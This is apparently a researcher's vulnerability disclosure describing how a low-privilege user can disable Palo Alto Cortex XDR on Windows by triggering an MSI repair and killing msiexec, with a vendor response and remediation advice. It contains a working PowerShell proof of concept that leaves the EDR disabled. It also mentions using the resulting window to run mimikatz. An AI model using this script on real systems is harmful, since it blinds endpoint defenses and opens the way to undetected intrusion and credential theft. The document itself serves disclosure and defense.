It is trivially possible to disable the Cortex EDR as a non-admin user by triggering a repair function. This is only working, if the Tamper Protection is not enforced!

TL;DR;

  • Trigger the repair via GUID
  • Disrupt it when EDR is deactivated
  • Done

Details

Palo Alto’s Cortex XDR is often installed as a msi for windows systems. By triggering the repair function, which is possible as non-administrative user, we can initiate a repair running as NT-SYSTEM.

During the repari process the XDR is temporary (around 60s) disabled, which makes sense, as the repair needs to replace some files which otherwise would be in use.

In this time an attacker could start malicious processes or do other undetected things.

Furthermore, if the repair function is disrupted by killing the msiexec process the Cortex XDR will stay disabled, even after reboots until the repair function is triggered another time without interruption.

The PoC was tested against Cortex XDR 8.1.1.4337.

This is only working if the tamper protection is not enforced

PoC

Write-host "Try to get GUID"

$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "Cortex"

Write-host "Found $string"

$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'

Write-host "$string[0]"
Write-host "Found GUID $($matches[0].toString())"
Write-host "Starting the repair $($matches[0].toString())"
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Write-Host "Wait until XDR is deactivated and press [ENTER]"
Read-Host

taskkill /F /IM msiexec.exe
Start-Sleep 2
taskkill /F /IM msiexec.exe

Write-Host "If worked, EDR is permanent broken, at least until the repair is started again with : `n Start-Process -FilePath `"msiexec.exe`" -ArgumentList `"/fa $($matches[0])`""

Short PoC

Here is a quick video showcasing deactivation of the XDR, from a low priv user, downloading and executing a fresh release of mimikatz from github.

Palo Alto

I reported the vuln to Palo Alto, at least I would say this is a vulnerability as it clearly passes some fences. Palo Alto responded, that this is by design and the “decision” of the administrator, if the tamper protection is not enabled.

I do not fully agree here, as if a user can not install a stupid game like candy crush on his laptop, he should also not be capable to deactivate the EDR/XDR!

And there might also be some cases, where the tamper protection will not come in handy, for example if updates for the XDR should come over Software Distribution (like SCCM, Empirum, DSM, …) for whatever reasons.

But hey, not my decision. And as this is not the standard, I want to highlight this: the response from Palo Alto came quick, was friendly and with some details. Nice!

Remediation

Enable the tamper protection and make sure to monitor msi repair calls from low privileged users.